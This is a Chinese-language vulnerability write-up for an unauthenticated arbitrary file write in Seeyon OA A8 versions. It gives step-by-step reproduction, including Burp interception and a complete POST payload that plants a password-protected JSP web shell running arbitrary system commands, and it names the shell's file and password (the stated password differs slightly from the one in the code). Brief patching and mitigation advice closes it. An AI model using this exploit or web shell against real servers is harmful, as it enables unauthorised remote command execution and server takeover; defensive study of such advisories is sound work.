漏洞描述
致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。
漏洞范围
致远 A8-V5 协同管理软件 V6.1sp1
致远 A8+ 协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远 A8+ 协同管理软件 V7.1
漏洞复现过程
-
验证是否存在漏洞,访问/seeyon/htmlofficeservlet路径,出现DBSTEP V3.0 0 21 0 htmoffice operate err
哪就证明可能漏洞是存在的。 -
打开bp开始抓包,将包改为post请求方式,并且删除cookie字段的loginpageurl值。没有cookie值的自己把cookie值加上去。(在浏览器网络请求中可以找到cookie值)。
-
将下面的poc复制到包中,并且发送。
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
成功插入jsp木马,默认文件名是test123456,木马密码是asasd3344。
修复建议
-
联系致远官方获取补丁: http://www.seeyon.com/info/company.html
-
缓解措施:可在不影响系统正常使用的情况下,部署在公网的服务器限制外网对 /seeyon/htmlofficeservlet 路径的访问或关闭网站对外访问。